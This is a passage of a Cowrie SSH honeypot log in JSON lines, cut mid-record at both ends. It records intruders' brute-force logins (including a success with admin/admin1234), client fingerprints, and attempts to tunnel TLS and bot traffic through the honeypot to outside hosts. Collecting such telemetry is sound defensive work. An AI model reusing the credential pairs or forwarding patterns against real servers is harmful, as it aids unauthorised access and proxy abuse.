06-19T21:21:56.465477Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.700879Z","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.931334Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x9aD\\x02[)\\xe7B\\x90\\x07\\xbf6\\xe8Pw\\x10Y!R\\x9a\\x11N\\xc2m\\xa7=7y\\xca\\xb5\\x05- \\xbcW\\xddD\\x10\\x87_T\\x0c\\x8b\\xe58Y3xR\\x96\\n\\xf4\\x83z\\xcc\\x1a\\xc1\\xe1U\\xe7\\x10\\xb5\\x7f\\xfbS\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xdd\\x82OG\\x05RA\\xf2m)>\\x8f\\x01\\x19\\x806O\\xc1\\x9a\\x08\\x15\\x1a\\x8co\\xfa\\xaf@UtT}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x9aD\\x02[)\\xe7B\\x90\\x07\\xbf6\\xe8Pw\\x10Y!R\\x9a\\x11N\\xc2m\\xa7=7y\\xca\\xb5\\x05- \\xbcW\\xddD\\x10\\x87_T\\x0c\\x8b\\xe58Y3xR\\x96\\n\\xf4\\x83z\\xcc\\x1a\\xc1\\xe1U\\xe7\\x10\\xb5\\x7f\\xfbS\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xdd\\x82OG\\x05RA\\xf2m)>\\x8f\\x01\\x19\\x806O\\xc1\\x9a\\x08\\x15\\x1a\\x8co\\xfa\\xaf@UtT}\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:56.936095Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:57.229346Z","src_ip":"123.27.168.40","session":"d5fca5b32ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"wasd","message":"login attempt [es/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:57.919234Z","src_ip":"91.92.40.36","session":"172e98cc297f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:21:59.361751Z","src_ip":"91.92.40.36","session":"172e98cc297f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64656,"dst_ip":"10.17.0.5","dst_port":22,"session":"520dcecf6779","protocol":"ssh","message":"New connection: 113.164.152.20:64656 (10.17.0.5:22) [session: 520dcecf6779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:00.649623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:00.656970Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:00.958425Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.229344Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.656856Z","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65330,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e2cb1c00065","protocol":"ssh","message":"New connection: 194.59.206.2:65330 (159.203.135.109:22) [session: 3e2cb1c00065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.687926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.693023Z","src_ip":"194.59.206.2","session":"3e2cb1c00065","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.772953Z","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.778451Z","src_ip":"194.59.206.2","session":"3e2cb1c00065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.869409Z","src_ip":"194.59.206.2","session":"3e2cb1c00065","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.943037Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; A60 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cG0vNDhaKTlQKWw1NCRJdw%3D%3DCb5pNlidGiJGRogpGaE27mgqRzZ%2BRTDj%2BonaHDI7C1dpG6RGWgsY1t%2FKM%2FLOM1ZHGo%2FARfUct%2FMq3FQMNRfjNDl7U1wkk7qiqFD22zgm128F3mYCyE78QmXaX3p2fTuyM2Z%2BBCXeEGIzkJ2l9CC4wc5gc4M%2BZY3olzkIA6pwSWxYV0AvjE6o%2BknLJlLRlN5KBQ0mOfRmYwUzRrbF%2BUlYs8%2FDYSxK%2Bth0H96WU6j1wtSOweI6NtfmUJx4EWGZ%2FvaNr1I0aUDzuLJagRvAaXQDsHFEi%2BZ49qaawl5aETmVyq1%2BCCBY1uMnGDAfOm4x3NleNw778Fd63asbQbGW56O2xDl5OyZWvozNC4LKCjBShpnqoWElpgKIJAsLT36cUP14GHlqrI5ZgNCLCNVFairwI5tAIw64qbfVGvc7DpfiLLtn90MaXO%2FdflCWo2fPW0e1RX6LyMShIk9cqDE9KWAV7T8KWQ%2BPSSfyrha0l7wFir9bgKoYGIKW9kJHrTN4WbZzZDH3ej4NpibCrpun2iG3E2iiFPgZvuklvQ8s94vzHIqTqe3Ti93jB%2BktefcuIxsCOZWXJv5pqEQhViyxmr%2BFfsTyInHa9D%2BAYSul0CGR8Kvq1U01Hq4QtrhMCekhjT8Va6%2FRUSACFHPOhqBC6g0%2FzGL4Bqymjl5gTmprhF9L%2B8ObbBqWHR25P4GtWTQM%2BF0VL8c%2Bh7rEloiWs8FHe6i%2Fv6Sfo0kWKMb03tqBPVV7aiyhQzeKJAihgRW8ugnwd5lmHSiLidqRG89JrUvZgqGzh0pIe%2B2kO%2FDjl%2F9HvzuhnULxW6%2BuD6pUZb72RLkvDRqh4rmgcFfkPXweFL3jXrSnCjBc4%2BhoKIkiJ%2FVi%2BNMyZDG0XuackPcHeHfb1GqbMCMXY2ahqzhfOx8dhi7EaxCtfc%2BY15JHEQhyRKV1xWNpUQvKtosRrG0p3RiEyshDVxlNeoNo1FHhq93rju9S5U91%2FNKI4mf%2BZejipbKHpU7R%2BpyLcXxLK03FE22fzwbR2ws1%2BvfHV354Nb6Rz4WJ6DdBrxir99YyODxL%2BJHzvA7g%2FQA%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 8.1.0; A60 Build/O11019) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cG0vNDhaKTlQKWw1NCRJdw%3D%3DCb5pNlidGiJGRogpGaE27mgqRzZ%2BRTDj%2BonaHDI7C1dpG6RGWgsY1t%2FKM%2FLOM1ZHGo%2FARfUct%2FMq3FQMNRfjNDl7U1wkk7qiqFD22zgm128F3mYCyE78QmXaX3p2fTuyM2Z%2BBCXeEGIzkJ2l9CC4wc5gc4M%2BZY3olzkIA6pwSWxYV0AvjE6o%2BknLJlLRlN5KBQ0mOfRmYwUzRrbF%2BUlYs8%2FDYSxK%2Bth0H96WU6j1wtSOweI6NtfmUJx4EWGZ%2FvaNr1I0aUDzuLJagRvAaXQDsHFEi%2BZ49qaawl5aETmVyq1%2BCCBY1uMnGDAfOm4x3NleNw778Fd63asbQbGW56O2xDl5OyZWvozNC4LKCjBShpnqoWElpgKIJAsLT36cUP14GHlqrI5ZgNCLCNVFairwI5tAIw64qbfVGvc7DpfiLLtn90MaXO%2FdflCWo2fPW0e1RX6LyMShIk9cqDE9KWAV7T8KWQ%2BPSSfyrha0l7wFir9bgKoYGIKW9kJHrTN4WbZzZDH3ej4NpibCrpun2iG3E2iiFPgZvuklvQ8s94vzHIqTqe3Ti93jB%2BktefcuIxsCOZWXJv5pqEQhViyxmr%2BFfsTyInHa9D%2BAYSul0CGR8Kvq1U01Hq4QtrhMCekhjT8Va6%2FRUSACFHPOhqBC6g0%2FzGL4Bqymjl5gTmprhF9L%2B8ObbBqWHR25P4GtWTQM%2BF0VL8c%2Bh7rEloiWs8FHe6i%2Fv6Sfo0kWKMb03tqBPVV7aiyhQzeKJAihgRW8ugnwd5lmHSiLidqRG89JrUvZgqGzh0pIe%2B2kO%2FDjl%2F9HvzuhnULxW6%2BuD6pUZb72RLkvDRqh4rmgcFfkPXweFL3jXrSnCjBc4%2BhoKIkiJ%2FVi%2BNMyZDG0XuackPcHeHfb1GqbMCMXY2ahqzhfOx8dhi7EaxCtfc%2BY15JHEQhyRKV1xWNpUQvKtosRrG0p3RiEyshDVxlNeoNo1FHhq93rju9S5U91%2FNKI4mf%2BZejipbKHpU7R%2BpyLcXxLK03FE22fzwbR2ws1%2BvfHV354Nb6Rz4WJ6DdBrxir99YyODxL%2BJHzvA7g%2FQA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:02.947990Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ca03c8a534b","protocol":"ssh","message":"New connection: 91.92.40.36:56002 (159.203.135.109:22) [session: 5ca03c8a534b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.095854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.208193Z","src_ip":"91.92.40.36","session":"5ca03c8a534b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.211588Z","src_ip":"91.92.40.36","session":"5ca03c8a534b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:22:03.238843Z","src_ip":"113.164.152.20","session":"520dcecf6779","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe2\\xe3b:\\x9de\\xb2f\\x81)\\x1eI\\x84\\x87w1\\xec)\\xd3\\x85cK\\x87\\x16Fxq\\x8b\\xb5\\xe4F\\xb1 U\\xee\\xb6\\n\\t$\\x85\\xdf\\xd5'\\xfb\\x15*\\x92#\\x7f\\x80\\t?Q(\\xf7\\xf3;\\x11\\xa7\\xce\\xd8=\\x0c\\x93=\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\x04s\\x1fY }\\x06!P\\xe1\\xc2\\xfd\\xdbh\\xbev\\x9a\\x88k\\xb4@\\xb9\\x19\\xde\\x98\\xaa\\xc5\\x00 